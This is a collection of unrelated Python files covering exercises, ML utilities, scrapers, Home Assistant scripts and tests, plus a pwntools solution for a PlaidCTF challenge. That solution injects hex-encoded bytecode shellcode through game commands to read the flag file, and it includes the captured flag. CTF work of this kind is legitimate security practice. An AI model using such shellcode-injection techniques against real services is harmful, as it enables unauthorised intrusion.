# Question 2
# Write a program which can compute the factorial of a given number.
# The results should be printed in a comma-separated sequence on a single line.
# Suppose the following input is supplied to the program:
# 8
# Then, the output should be:
# 40320
# Hints:
# e.g Factorial 8 is calculated as 8x7x6x5x4x3x2x1
# In case of input data being supplied to the question, it should be assumed to be a console
# input

#!/usr/bin/env python3
def factorial():
    n = int(input("Please enter a new number: ")) # Takes input from the user
    factorial = 1
    results = [] # Lists the number from the input
    for i in range(n, 0, -1):
        factorial = factorial * i
        results.append(str(factorial))
    print(results)
factorial() # Returns the results


"""
File to do a baseline BERT model fine-tuning using PyTorch

See this article https://mccormickml.com/2019/07/22/BERT-fine-tuning/

A. Wechselberger, 2020
"""

import tensorflow as tf

# Get the GPU device name.
device_name = tf.test.gpu_device_name()

# The device name should look like the following:
if device_name == '/device:GPU:0':
    print('Found GPU at: {}'.format(device_name))
else:
    raise SystemError('GPU device not found')


# coding: utf-8

import hashlib
from StringIO import StringIO
from PIL import Image
import logging
import zbarlight

from News.utils.cache import Cache
from News.utils import http

_logger = logging.getLogger(__file__)

__author__ = "Sven Lee"
__copyright__ = "Copyright 2016-2019, ShangHai Lie Ying"
__credits__ = ["Sven Lee"]
__license__ = "Private"
__version__ = "1.0.0"
__email__ = "lee1300394324@gmail.com"
__date__ = "2016-05-06 11:19"

headers = {
    "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
                  "(KHTML, like Gecko) Chrome/50.0.2661.86 Safari/537.36"
           }
image_service_key = "service:news:image:md5"

def download_image(url):
    r = http.get(url, headers=headers)
    if not r:
        return None
    if r.status_code >= 400:
        _logger.warn("download image error: %s" % r.status_code)
        return None
    else:
        return r.content

def is_qr_image(fd):
    qrs = list()
    try:
        image = Image.open(fd)
        image.load()
    except IOError as e:
        _logger.warn("qr %s" % e.message)
    else:
        qrs = zbarlight.scan_codes("qrcode", image)
        if qrs is None:
            return False
    return len(qrs) > 0

def is_ad_image(raw):
    value = hashlib.md5(raw).hexdigest()
    return Cache.sismember(image_service_key, value)

def is_dirty_image(url):
    raw = download_image(url)
    if raw is None:
        return False
    else:
        return is_qr_image(StringIO(raw)) or is_ad_image(raw)


import numpy as np
from random import random, randint, uniform
import copy
import sys
from math import cos, exp, sqrt

def fitness( x, dimensions, f ):

    if f == 1:
        ans = -20 * exp( -0.2 * sqrt( 0.5*(x[0]**2 + x[1]**2) ) ) - exp( 0.5*( cos(2*3.14*x[0]) + cos(2*3.14*x[1]) ) ) + exp(1) + 20
        return ans
    if f == 2:
        ans = ( 1.5 - x[0] + x[0]*x[1] )**2 + ( 2.25 - x[0] + x[0]*(x[1]**2) )**2 + (2.625 - x[0] + x[0]*(x[1]**3))**2
        return ans
    if f == 3:
        ans = ( x[0] + 2*x[1] - 7)**2 + ( 2*x[0] + x[1] - 5)**2
        return ans
    if f == 4:
        ans = -cos(x[0])*cos(x[1])*exp( -((x[0]-3.14)**2 + (x[1]-3.14)**2))
        return ans
    if f==5:
        ans = 0.26*( x[0]**2 + x[1]**2 ) - 0.48*x[0]*x[1]
        return ans
    if f == 6:
        s = 0
        for i in range(dimensions):
            s = s + x[i]**2 - 10*cos(2*3.14*x[i])
        return 10*dimensions + s
    if f==7:
        s = 0
        for i in range(dimensions-1):
            s = s + 100 * ( x[i+1] - x[i]**2 ) ** 2 + ( 1 - x[i] )**2
        return s
    else:
        return 0

def jaya_opt(f):

    gens = 100
    pop_size = 40

    if f == 1:
        dimensions = 2
        min_value = -5
        max_value = 5
    if f == 2:
        dimensions = 2
        min_value = -4.5
        max_value = 4.5
    if f == 3:
        dimensions = 2
        min_value = -10
        max_value = 10
    if f == 4:
        dimensions = 2
        min_value = -100
        max_value = 100
    if f == 5:
        dimensions = 2
        min_value = -10
        max_value = 10
    if f == 6:
        dimensions = 2
        min_value = -5.12
        max_value = 5.12
    if f == 7:
        dimensions = 10
        min_value = -( pow( 2, 63) - 1 )
        max_value = pow( 2, 63 ) -1

    population = np.zeros(( pop_size, dimensions ))
    for i in range(pop_size):
        for j in range(dimensions):
            population[i][j] = uniform( min_value, max_value )   #initializing the population

    best_fitness = sys.maxsize
    best_index = -1
    best_ind = np.zeros(( dimensions ))
    worst_fitness = 0
    worst_index = -1
    worst_ind = np.zeros(( dimensions ))
    fit_matrix = np.zeros(( pop_size ))

    for i in range( pop_size ):
        fitness_value = fitness( population[i], dimensions, f )  #calculating fitness of every individual
        fit_matrix[i] = fitness_value
        if fitness_value < best_fitness:   #finding best fit element
            best_fitness = fitness_value
            best_index = i
            best_ind = population[i]
        if fitness_value > worst_fitness:   #finding worst fit element
            worst_fitness = fitness_value
            worst_index = i
            worst_ind = population[i]

    for g in range( gens):       # iterating over generations
        #if g == 0 or g==gens-1:
        #print( best_fitness)
        #print(population)
        #print()
        for i in range(pop_size):
            new_value = np.zeros(( dimensions ))
            for j in range(dimensions):
                new_value[j] = population[i][j] + random()*( best_ind[j] - abs(population[i][j]) ) - random()*( worst_ind[j] - abs(population[i][j]))  # jaya equaion
            new_value_fit = fitness( new_value, dimensions, f )
            current_fit = fit_matrix[i]
            if new_value_fit < current_fit:   #replacing current element with new element if it has better fitness
                population[i] = new_value
                fit_matrix[i] = new_value_fit

        for i in range( pop_size ):              # finding the best and worst element
            if fit_matrix[i] < best_fitness :
                best_fitness = fit_matrix[i]
                best_fitness_index = i
                best_ind = population[i]

            if fit_matrix[i] > worst_fitness :
                worst_fitness = fit_matrix[i]
                worst_fitness_index = i
                best_ind = population[i]

    #print(best_fitness)
    return best_fitness

l = [ 1, 2, 3, 4, 5, 6, 7]

for i in l:     # calculating jaya over 7 benchmark functions, taking the average of 20 runs
    #print(f)
    n = 20
    ans = 0
    for j in range(n):
        ans += jaya_opt(i)
    ans = ans/n

    if i == 1:
        print( 'ackley    ', ans)
    if i == 2:
        print( 'bealey    ', ans)
    if i==3:
        print( 'booth     ',ans)
    if i==4:
        print( 'easom     ', ans)
    if i==5:
        print( 'matyas    ', ans)
    if i==6:
        print( 'rastring   ', ans)
    if i==7:
        print( 'rosenbrock  ', ans)


"""Load Celery tasks for account submission.

This module is responsible for instantiating the Celery tasks used for account
creation using our special credentials. Other modules should import from here,
rather than from ocflib directly.
"""
from celery import Celery
from django.conf import settings
from ocflib.account.submission import get_tasks as real_get_tasks

celery_app = Celery(
    broker=settings.CELERY_BROKER,
    backend=settings.CELERY_BACKEND,
)
_tasks = real_get_tasks(celery_app)

create_account = _tasks.create_account
validate_then_create_account = _tasks.validate_then_create_account
get_pending_requests = _tasks.get_pending_requests
approve_request = _tasks.approve_request
reject_request = _tasks.reject_request


import os
import logging
import stat

from pyfuse3 import EntryAttributes
from crypt4gh import VERSION
from crypt4gh.lib import SEGMENT_SIZE, CIPHER_SEGMENT_SIZE, CIPHER_DIFF
from crypt4gh.header import MAGIC_NUMBER

LOG = logging.getLogger(__name__)

ENTRY_TIMEOUT = 300
ATTR_TIMEOUT = 300
HEADER_SIZE_HINT = None

def stat2entry(s):
    entry = EntryAttributes()
    for attr in ('st_ino', 'st_nlink', 'st_uid', 'st_gid',
                 'st_rdev', 'st_size', 'st_atime_ns', 'st_mtime_ns',
                 'st_ctime_ns'):
        setattr(entry, attr, getattr(s, attr))
    entry.generation = 0
    entry.entry_timeout = ENTRY_TIMEOUT
    entry.attr_timeout = ATTR_TIMEOUT
    entry.st_blksize = 512
    entry.st_blocks = ((entry.st_size+entry.st_blksize-1) // entry.st_blksize)
    entry.st_mode = s.st_mode & ~stat.S_IRWXO & ~stat.S_IRWXG # remove group and world access
    return entry

def _get_header_size(opath_fd):
    fd = os.open(f"/proc/self/fd/{opath_fd}", os.O_RDONLY)
    buf = bytearray(16)
    if os.readv(fd, [buf]) != 16:
        raise ValueError('Header too small')
    # Magic number, 8 bytes
    magic_number = bytes(buf[:8]) # 8 bytes
    if magic_number != MAGIC_NUMBER:
        raise ValueError('Not a CRYPT4GH formatted file')
    # Version, 4 bytes
    version = int.from_bytes(buf[8:12], byteorder='little')
    if version != VERSION: # only version 1, so far
        raise ValueError('Unsupported CRYPT4GH version')
    # Packets count
    packets_count = int.from_bytes(buf[12:16], byteorder='little')
    pos = 16
    # Jump over each packet
    pbuf = bytearray(4)
    for i in range(packets_count):
        os.lseek(fd, pos, os.SEEK_SET)
        os.readv(fd, [pbuf])
        pos += int.from_bytes(pbuf, byteorder='little') # include packet_len itself
    # os.lseek(fd, 0, os.SEEK_SET)
    # return os.read(fd, pos)
    os.close(fd)
    return pos

class Entry():
    __slots__ = ('refcount',
                 'fd',
                 'underlying_name',
                 'display_name',
                 'extension',
                 'entry',
                 '_encrypted',
                 '_header_size')

    def __init__(self, parent_fd, underlying_name, s,
                 extension=None, header_size_hint=None, assume_same_size_headers=True):
        self.refcount = 1
        self.fd = os.open(underlying_name, os.O_PATH | os.O_NOFOLLOW, dir_fd=parent_fd)
        self.underlying_name = underlying_name
        self.display_name = underlying_name
        self.extension = extension
        self.entry = stat2entry(s)
        self._encrypted = None
        global HEADER_SIZE_HINT
        self._header_size = (HEADER_SIZE_HINT if assume_same_size_headers else None) or header_size_hint or None
        if stat.S_ISREG(s.st_mode) and self.is_c4gh():
            # correct the name
            if self.extension:
                self.display_name = self.underlying_name[:-len(self.extension)]
            # correct the size
            hlen = self.get_header_size()
            if assume_same_size_headers:
                HEADER_SIZE_HINT = hlen
            else:
                LOG.warning('Assuming different size headers might render directory listings slow')
            n_segments = self.entry.st_size // CIPHER_SEGMENT_SIZE;
            if self.entry.st_size % CIPHER_SEGMENT_SIZE != 0:
                n_segments += 1
            self.entry.st_size -= hlen + n_segments * CIPHER_DIFF

    def is_c4gh(self):
        if self._encrypted is None:
            self._encrypted = bool(self.extension and self.underlying_name.endswith(self.extension))
        return self._encrypted

    def get_header_size(self):
        if self._header_size is None:
            LOG.debug('Getting header size for %s', self.underlying_name)
            self._header_size = _get_header_size(self.fd)
            LOG.debug('Found header size: %s', self._header_size)
        return self._header_size

    def __repr__(self):
        encrypted = f" | C4GH | header {self.get_header_size()}" if self.is_c4gh() else ""
        return f'<Entry {self.display_name} refcount={self.refcount} fd={self.fd} ino={self.entry.st_ino}{encrypted}>'

    def encoded_name(self):
        return os.fsencode(self.display_name)

    # def __del__(self):
    #     LOG.debug('Deleting %s', self)
    #     if self.fd > 0:
    #         os.close(self.fd)


"""
Fit Gaussian Mixture by YUAN Ruihong
"""

import argparse
import re
from random import random

import numpy as np
import pandas as pd
from scipy.stats import norm

from labw_utils import UnmetDependenciesError
from labw_utils.commonutils.stdlib_helper.argparse_helper import ArgumentParserWithEnhancedFormatHelp
from labw_utils.commonutils.stdlib_helper.logger_helper import get_logger
from labw_utils.mlutils.ndarray_helper import describe
from labw_utils.typing_importer import List
from yasim.helper.gmm import GaussianMixture1D
from yasim.helper.plot_utils import plot

try:
    import pytest

    _ = pytest.importorskip("pyarrow")
except ImportError:
    pytest = None
    try:
        import pyarrow
    except ImportError as e:
        raise UnmetDependenciesError("pyarrow") from e

_lh = get_logger()

def create_parser() -> argparse.ArgumentParser:
    parser = ArgumentParserWithEnhancedFormatHelp(
        prog="python -m yasim_scripts fit_gmm",
        description=__doc__.splitlines()[1]
    )
    parser.add_argument(
        'data',
        help="Dataset in Apache Parquet Format"
    )
    parser.add_argument(
        '-c', '--num_components', type=int, required=False, default=2
    )
    parser.add_argument(
        '--col_regex', type=str, required=False, default="SRR.*"
    )
    parser.add_argument(
        '--filter_zero', action="store_true"
    )
    parser.add_argument(
        '--scale', action="store_true"
    )
    parser.add_argument(
        '--num_iters', type=int, required=False, default=100
    )
    return parser

def main(args: List[str]):
    args = create_parser().parse_args(args)
    _lh.info("GMM: Processing data...")
    if args.data == 'dummy':
        mu1, sigma1 = random() * 100, random() * 10
        mu2, sigma2 = random() * 100, random() * 10
        p = random()
        model1 = norm(mu1, sigma1)
        model2 = norm(mu2, sigma2)
        data = np.append(model1.rvs(size=int(p * 200)), model2.rvs(size=int((1 - p) * 200)))
        print(f"Ground truth is {p}*N({mu1}, {sigma1}) + {1 - p}*N({mu2}, {sigma2})")
    else:
        df = pd.read_parquet(args.data)
        col_names = df.columns[list(map(lambda x: re.match(args.col_regex, x) is not None, df.columns))]
        df: pd.DataFrame = df[col_names]
        df = df.fillna(0)
        if args.scale:
            df = df.apply(
                lambda x: np.log10(x / max(x.max(), 1E-9) * 5000 + 1),
                axis="columns"
            )

        data = np.asarray(df.to_numpy()).ravel()
        if args.filter_zero:
            data = data[data != 0]
    print(describe(data))
    # plot(data)

    _lh.info("GMM: Fitting START")
    # auto_select_num_components(data, 2, 8, args.num_iters)
    model = GaussianMixture1D(
        n_components=args.num_components,
        n_iter=args.num_iters
    ).fit(data)
    _lh.info("GMM: Fitting FIN")

    plot(data, model)
    print(model.export())


#!/usr/bin/env python
# coding: utf-8

# # **Combine results**

# In[1]:

import pandas as pd
import numpy as np
import pickle

# In[2]:

from more_itertools import powerset

candidates = ['ANOVA', 'PCA_PC1', 'PCA_mixed', 'LDA', 'Tree', 'Forest', 'XGB']
combinations = list(powerset(candidates))
combinations.pop(0)
print(len(combinations))

# In[3]:

import math

t200 = dict()
for cand in candidates:
    fname = cand + '_31.csv'
    t200[cand] = pd.read_csv(f'scores/{fname}')    # Read CSV files

    # for sum of rankings
    n_entries = len(t200[cand].index)
    # scales = [200*(n_entries-i)/n_entries for i in range(n_entries)]    # linear scales
    scales = [200*math.exp(-10*i/n_entries) for i in range(n_entries)]  # exponential scales
    t200[cand]['score'] = scales

# ## Intersections

# In[4]:

intersections = dict()
for comb in combinations:
    key = '&'.join(comb)
    lists = []
    for model in comb:
        lists.append(t200[model]['Gene'].tolist())
    result = list(set.intersection(*map(set, lists)))
    if (result):
        intersections[key] = result

# ## Sum of Rankings

# In[5]:

df = pd.read_csv('simplify_combined_dataset.csv')
genes = df.columns.tolist()
genes.remove('ScanREF')
genes.remove('DataSet')
genes.remove('state')
genes.remove('train/test')

# In[6]:

# testing code for database query
series_add = t200['ANOVA'].loc[t200['ANOVA']['Gene']=='DHX30']['score']
if not series_add.empty:
    print(series_add.item())

# In[7]:

from operator import itemgetter

T20 = dict()
for comb in combinations:
    key = '&'.join(comb)
    scores = dict.fromkeys(genes, 0)
    for model in comb:
        for gene in genes:
            series_add = t200[model].loc[t200[model]['Gene']==gene]['score']
            if not series_add.empty:
                scores.update({gene: scores[gene] + series_add.item()})
    T20[key] = sorted(scores.keys(), key=lambda x: scores[x], reverse=True)[:20]

# ### Display and Export

# In[8]:

def display_dict(dictionary):
    """Displays dictionaries neatly."""
    for key, value in dictionary.items():
        print(key)
        print(value)
        print('\n')

def export_dict(dictionary, fname):
    with open(f'{fname}.pickle', 'wb') as handle:
        pickle.dump(dictionary, handle, protocol=pickle.HIGHEST_PROTOCOL)
    print(f'Succesfully exported {fname}.pickle.')

# In[9]:

# display_dict(intersections)
export_dict(T20, 'scales_EXP_31')

# In[ ]:


#
# copied from
#
# https://scikit-learn.org/stable/auto_examples/covariance/plot_lw_vs_oas.html#sphx-glr-auto-examples-covariance-plot-lw-vs-oas-py
#
#

import numpy as np
import matplotlib.pyplot as plt
from scipy.linalg import toeplitz, cholesky

from sklearn.covariance import LedoitWolf, OAS

import _confirm_images as CI

np.random.seed(0)

n_features = 100
# simulation covariance matrix (AR(1) process)
r = 0.1
real_cov = toeplitz(r ** np.arange(n_features))
coloring_matrix = cholesky(real_cov)

n_samples_range = np.arange(6, 31, 1)
repeat = 100
lw_mse = np.zeros((n_samples_range.size, repeat))
oa_mse = np.zeros((n_samples_range.size, repeat))
lw_shrinkage = np.zeros((n_samples_range.size, repeat))
oa_shrinkage = np.zeros((n_samples_range.size, repeat))
for i, n_samples in enumerate(n_samples_range):
    for j in range(repeat):
        X = np.dot(
            np.random.normal(size=(n_samples, n_features)), coloring_matrix.T)

        lw = LedoitWolf(store_precision=False, assume_centered=True)
        lw.fit(X)
        lw_mse[i, j] = lw.error_norm(real_cov, scaling=False)
        lw_shrinkage[i, j] = lw.shrinkage_

        oa = OAS(store_precision=False, assume_centered=True)
        oa.fit(X)
        oa_mse[i, j] = oa.error_norm(real_cov, scaling=False)
        oa_shrinkage[i, j] = oa.shrinkage_

# plot MSE
plt.subplot(2, 1, 1)
plt.errorbar(n_samples_range, lw_mse.mean(1), yerr=lw_mse.std(1),
             label='Ledoit-Wolf', color='navy', lw=2)
plt.errorbar(n_samples_range, oa_mse.mean(1), yerr=oa_mse.std(1),
             label='OAS', color='darkorange', lw=2)
plt.ylabel("Squared error")
plt.legend(loc="upper right")
plt.title("Comparison of covariance estimators")
plt.xlim(5, 31)

# plot shrinkage coefficient
plt.subplot(2, 1, 2)
plt.errorbar(n_samples_range, lw_shrinkage.mean(1), yerr=lw_shrinkage.std(1),
             label='Ledoit-Wolf', color='navy', lw=2)
plt.errorbar(n_samples_range, oa_shrinkage.mean(1), yerr=oa_shrinkage.std(1),
             label='OAS', color='darkorange', lw=2)
plt.xlabel("n_samples")
plt.ylabel("Shrinkage")
plt.legend(loc="lower right")
plt.ylim(plt.ylim()[0], 1. + (plt.ylim()[1] - plt.ylim()[0]) / 10.)
plt.xlim(5, 31)

CI.images_follow(['scikit_learn_example.png'])
plt.show()
CI.image_confirm('scikit-learn')


import requests
from bs4 import BeautifulSoup
import codecs
import html
import os.path
import errno

user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36'
headers = {'User-Agent': user_agent}
url = 'https://gall.dcinside.com/mgallery/board/view/?id=lastorigin&no=1384131'
url_get = requests.get(url, headers=headers)
html_code = url_get.content.decode('utf-8')
soup = BeautifulSoup(html_code, 'html.parser')
established_date = soup.find('span', {'class' : 'gall_date'}).get('title')[0:10]
title_article = soup.find('span', {'class' : 'title_subject'}).getText()
contents_article = soup.find('div', {'class' : 'writing_view_box'})
folder_name = established_date + ' ' + title_article

try:
    if not(os.path.isdir(folder_name)):
        os.makedirs(os.path.join(folder_name))
except OSError as e:
    if e.errno != errno.EEXIST:
        print("Failed to create directory")
        raise

filepath = os.path.join(folder_name, 'contents.html')
with codecs.open(filepath, 'w', encoding='utf-8') as f:
    f.write(str(contents_article))


from requests import Session, Response
from requests.adapters import HTTPAdapter, Retry
from datetime import date, datetime, time, timedelta
from homeassistant.components.recorder import get_instance
from homeassistant.components.recorder.models import StatisticMetaData, StatisticData
from homeassistant.components.recorder.statistics import async_add_external_statistics, get_last_statistics, statistics_during_period
from homeassistant.components.recorder.history import get_significant_states
from homeassistant.util.dt import now, as_utc, as_local, DEFAULT_TIME_ZONE
from bisect import bisect_right
from itertools import islice

CNB_EUR_PRICE_URL_PATTERN = 'https://www.cnb.cz/cs/financni-trhy/devizovy-trh/kurzy-devizoveho-trhu/kurzy-devizoveho-trhu/vybrane.txt?od={}&do={}&mena=EUR&format=txt'
OTE_SPOT_ELE_PRICE_URL_PATTERN = 'https://www.ote-cr.cz/cs/kratkodobe-trhy/elektrina/denni-trh/@@chart-data?report_date={}'
EXPORT_ENTITY_ID = 'sensor.meter_total_energy_export'
ELE_PRICE_STAT_ID = 'ote:electricity_price'
ELE_PRICE_SOURCE = 'ote'
PV_INCOME_STAT_ID = 'ote:pv_income'
PV_INCOME_SOURCE = 'ote'
EUR_RATE_STAT_ID = 'cnb:eur_rate'
EUR_RATE_SOURCE = 'cnb'
EXPORT_LIMIT_ENTITY_ID = 'number.grid_export_limit'
EXPORT_LIMIT_MAX = '6000.0'

DAY_DELTA = timedelta(days=1)
HTTP_ADAPTER = HTTPAdapter(max_retries=Retry(total=5, backoff_factor=2.0))

def get_eur_rate(day: date) -> float|None:
    from_day_str = (day - timedelta(days=2)).strftime('%d.%m.%Y')
    day_str = day.strftime('%d.%m.%Y')
    url = CNB_EUR_PRICE_URL_PATTERN.format(from_day_str, day_str)
    resp = http_get(url)
    if resp.status_code == 200:
        line = resp.text.strip().split('\n')[-1].strip().split('|')
        log.info(f'Read EUR rate from CNB of {line[1]} on {line[0]}')
        return float(line[1].replace(',', '.'))
    else:
        log.warning(f'Failed to get EUR rate for URL={url}, status={resp.status_code}')
        return None

def get_power(day: date, hours_overlap: int = 6) -> dict[datetime, float]:
    dt = day_with_hour_utc(day, hour=0)
    states = await get_instance(hass).async_add_executor_job(
        get_significant_states,
        hass,
        dt - timedelta(hours=hours_overlap),
        dt + timedelta(days=1, hours=hours_overlap),
        [EXPORT_ENTITY_ID],
        None,   # filters
        True,   # include_start_time_state
        True,   # significant_changes_only
        False,  # minimal_response
        True,   # no_attributes
        False,  # compressed_state_format
    )
    points = {s.last_changed: float(s.state) for s in states[EXPORT_ENTITY_ID] if s.state != 'unavailable'}
    log.info(f'Read {len(points)} power points from sensor')
    return points

def get_prices(day: date) -> dict[int, float] | None:
    url = OTE_SPOT_ELE_PRICE_URL_PATTERN.format(day.isoformat())
    resp = http_get(url)
    if resp.status_code != 200:
        log.warning(f'Reading electricity prices for {url} failed: {resp.status_code}')
        return None
    else:
        data = resp.json()
        points = {(int(d['x']) - 1): float(d['y']) for d in data['data']['dataLine'][1]['point']}
        log.info(f'Read {len(points)} electricity prices from OTE')
        return points

@event_trigger('scrape_electricity_price')
def scrape_electricity_price() -> None:
    tomorrow = now().date() + DAY_DELTA
    prices = get_prices(tomorrow)
    stats = [StatisticData(start=day_with_hour_utc(tomorrow, h), mean=p, min=p, max=p) for h, p in prices.items() if h < 24]
    meta = StatisticMetaData(statistic_id=ELE_PRICE_STAT_ID, source=ELE_PRICE_SOURCE, name='Electricity price', has_sum=False, has_mean=True, unit_of_measurement='€/MWh')
    async_add_external_statistics(hass, meta, stats)
    log.info(f'Added {len(stats)} electricity prices for {tomorrow}')

def get_last_income_sum(yesterday: date) -> float:
    last_income_stats = await get_instance(hass).async_add_executor_job(
        get_last_statistics,
        hass,
        1,
        PV_INCOME_STAT_ID,
        False,
        {"sum"},
    )
    if len(last_income_stats) == 0:
        log.error('Starting income from zero? Better not saving!!!')
        raise Exception("No last income!")
    lis = last_income_stats[PV_INCOME_STAT_ID][0]
    last_income_date = datetime.fromtimestamp(lis['end'])
    assert last_income_date <= datetime.combine(yesterday, time.min), f"Last income sum is newer than what we are reading! last income date={last_income_date}, yesterday={yesterday}"
    income_sum = lis['sum']
    log.info(f'Read last income sum = {income_sum}')
    return income_sum

def get_prices_stats(start: datetime, end: datetime) -> dict[int, float] | None:
    stats = await get_instance(hass).async_add_executor_job(
        statistics_during_period,
        hass,
        start,
        end,
        {ELE_PRICE_STAT_ID},
        "hour",
        None,
        {"mean"},
    )
    if ELE_PRICE_STAT_ID not in stats:
        log.warning(f'No electricity price stat found from {start.isoformat()} - {end.isoformat()}')
        return None
    prices = {i: s['mean'] for i, s in enumerate(stats[ELE_PRICE_STAT_ID])}
    log.debug(f'Read {len(prices)} prices stats from {start.isoformat()} - {end.isoformat()}')
    return prices

@event_trigger('scrape_electricity')
def scrape_electricity() -> None:
    yesterday = now().date() - DAY_DELTA

    yesterday_dt = day_with_hour_utc(yesterday, hour=0)
    prices = get_prices_stats(yesterday_dt, yesterday_dt + DAY_DELTA)
    if prices is None:
        log.warning(f'No electricity price stat found for computing export income at {yesterday.isoformat()}')
        return

    day_bef_yesterday = yesterday - DAY_DELTA
    eur_rate = get_eur_rate(day_bef_yesterday)
    store_eur_rate(eur_rate, day_bef_yesterday)

    power = get_power(yesterday)
    i = 0
    power_dates = [as_local(d) for d in power.keys()]
    power_values = list(power.values())
    powers = {}
    for h in range(25):
        i = bisect_right(power_dates, day_with_hour_utc(yesterday, hour=0) + timedelta(hours=h), lo=i)
        if i == 0:
            continue
        if i >= len(power_dates):
            break
        powers[h] = power_values[i-1]
    if len(powers) < 2:
        log.warning(f'There is only {len(powers)} hourly powers, not enough to compute diffs!')
        return
    power_diffs = {h: (p2 - p1) for (h, p1), p2 in zip(powers.items(), islice(powers.values(), 1, None))}
    log.info(f'Reduced power to {len(power_diffs)} hours')

    income_stats = []
    income_sum = get_last_income_sum(yesterday)
    for h in range(24):
        if h in prices and h in power_diffs:
            income = prices[h] * power_diffs[h] * eur_rate / 1000
            income_sum += income
            income_stats.append(StatisticData(start=day_with_hour_utc(yesterday, h), state=income, sum=income_sum))

    income_meta = StatisticMetaData(statistic_id=PV_INCOME_STAT_ID, source=PV_INCOME_SOURCE, name='PV export income', has_sum=True, has_mean=False, unit_of_measurement='Kč')
    async_add_external_statistics(hass, income_meta, income_stats)
    log.info(f'Added {len(income_stats)} income stats for {yesterday}')

@event_trigger('adjust_electricity_export')
def adjust_electricity_export() -> None:
    start = now().replace(minute=0, second=0, microsecond=0)
    price = get_prices_stats(start, start + timedelta(hours=1))
    if price is None:
        log.warning(f'Cannot read current electricity price, not adjusting export at {start.isoformat()}')
        return
    if price[0] < 0:
        log.info(f'Current electricity price is {price[0]}, disabling export')
        hass.states.async_set(EXPORT_LIMIT_ENTITY_ID, '0.0')
    else:
        hass.states.async_set(EXPORT_LIMIT_ENTITY_ID, EXPORT_LIMIT_MAX)

def store_eur_rate(eur_rate: float, day: date) -> None:
    eur_rate_meta = StatisticMetaData(statistic_id=EUR_RATE_STAT_ID, source=EUR_RATE_SOURCE, name='EUR/CZK rate', has_sum=False, has_mean=True, unit_of_measurement='Kč/€')
    async_add_external_statistics(hass, eur_rate_meta, [StatisticData(start=day_with_hour_utc(day, hour=0), mean=eur_rate, min=eur_rate, max=eur_rate)])
    log.info(f'Added eur rate {eur_rate} stat for {day}')

def day_with_hour_utc(day: date, hour: int) -> datetime:
    return as_utc(datetime.combine(day, time(hour, 0, 0), tzinfo=DEFAULT_TIME_ZONE))

def http_get(url: str) -> Response:
    s = Session()
    s.mount('https://', HTTP_ADAPTER)
    resp = await hass.async_add_executor_job(s.get, url)
    return resp


import sys
import spacy

nlp = spacy.load("en_core_web_sm")
merge_nouns = nlp.create_pipe("merge_noun_chunks")
merge_ents = nlp.create_pipe("merge_entities")
nlp.add_pipe(merge_nouns)
nlp.add_pipe(merge_ents)

if __name__ == "__main__":
    with open(sys.argv[1]) as f:
        text = f.readlines()

    for line in text:
        s = nlp(line)
        print(" ".join([str((t.text, t.dep_)) for t in s]))


foods = ['apples', 'bread', 'cheese', 'milk', 'graves']

for food in foods:
    # if food == "cheese":
    #     print("Tienes que comprar esto")
    #     break
    #     continue
    print(food)

for letter in 'Hello':
    print(letter)

count = 4
while count <= 10:
    print(count)
    count = count + 1


#!/usr/bin/env python
# encoding: utf-8

from pwn import remote, process, ELF
from pwn import context
from pwn import p8,p16,p32,p64,u32,u64,asm

context(arch='amd64', os='linux', log_level='debug', endian='big')
r = None

def set_slider(num):
    r.sendline('set %d' % num)
    r.recvuntil('>')

def set_dial(flavor):
    r.sendline('set %s' % flavor)
    r.recvuntil('>')

def press():
    r.sendline('press')
    r.recvuntil('>')

def drink(soda):
    r.sendline('drink %s' % soda)
    r.recvuntil('>')

def look(obj):
    r.sendline('look %s' % obj)
    r.recvuntil('>')

def drop(obj):
    r.sendline('drop %s' % obj)
    r.recvuntil('>')

def write(s):
    assert(len(s) <= 34)
    r.sendline('write %s' % s)
    r.recvuntil('>')

def exploit(host):
    global r
    port = 6910
    r = remote(host, port)

    r.sendline('')
    r.recvuntil('>')

    sc_addr = 479074

    """
    routine763 fileref_create_by_prompt @glk 98
    routine589 stream_open_file @glk 66
    routine781 fileref_destroy @glk 99

    fref = fileref_create_by_prompt(1, 2, 0)
    stream_id = stream_open_file(fref, fmode=2, rock=301)
    fileref_destroy(fref)
    @restore stream_id

    @callfiii routine763 1 2 0 -> local4;
    @callfiii routine589 local4 2 301 -> mem131680
    @callfiii routine589 local4
    @restore mem131680

    [RestoreSub local0 local4 ;
    c104020000

    @callfiii routine763 1 2 0 -> local4;
    8163 130109 000002fb 01 02 04

    @callfiii routine589 local4 2 301 -> mem131680
    8163 93210d 0000024d 04 02 012d 60

    @callfi routine781 local4 -> 0
    8161 9300 0000030d 04

    @restore mem131680 -> local0
    8124 9d 60 00

    @return 0
    31 01 01
    """
    shellcode = 'c1040200008163130109000002fb010204816393210d0000024d0402012d60816193000000030d0481249d6000310101'.decode('hex')
    shellcode = shellcode.ljust(0x44, '\xff')

    flavors = ['apple', 'apricot', 'blackberry', 'cherry', 'cranberry', 'cola', 'grape', 'guava', 'lemon', 'lime', 'orange', 'pickle', 'peach', 'pear', 'pineapple', 'raspberry', 'strawberry', 'watermelon']
    set_dial('pickle')
    set_slider(u32(shellcode[0:4], sign=True))
    press()

    k = 4
    for f in flavors[:-1]:
        if f != 'pickle':
            drink('pickle')
            set_dial(f)
            set_slider(u32(shellcode[k:k+4], sign=True))
            press()
            k += 4

    drink('pickle')
    set_dial(flavors[-1])
    set_slider(sc_addr)
    press()

    r.sendline('drink pickle')
    r.recvuntil("glksave")
    r.send("\x08"*12)
    r.sendline("flag.glksave")
    r.sendline("look blackboard")
    # PCTF{pWn_4dv3ntUrE_IF_3d1ti0n}

if __name__ == '__main__':
    host = 'plaidadventure2.pwni.ng'
    exploit(host)
    r.interactive()


import pytest

_LOGIC_ = 'app.main.adjust_temperature'

def test_root(test_client):
    """
    GIVEN a FastAPI test_client
    WHEN the root of the API is called
    THEN the response status code is 200
    """
    response = test_client.get('/')
    assert response.status_code == 200

@pytest.mark.parametrize("sample_input, expected", [
    ([{"location": "Doel", "measure": 10}], 200),
    ({"location": "Doel", "measure": 10}, 422)
])
def test_adjust(test_client, mocker, sample_input, expected):
    """
    GIVEN a FastAPI test_client
    WHEN the /adjust endpoint is called
    IF the input data model corresponds to what is expected
        THEN return a status code 200
    ELSE return a status code 422

    Note: This will not test all possible Exception that can be returned.
    """
    mocker.patch(_LOGIC_, return_value=[dict(location="foo", measure=10)])
    response = test_client.post('/adjust', json=sample_input)
    assert response.status_code == expected


# imports
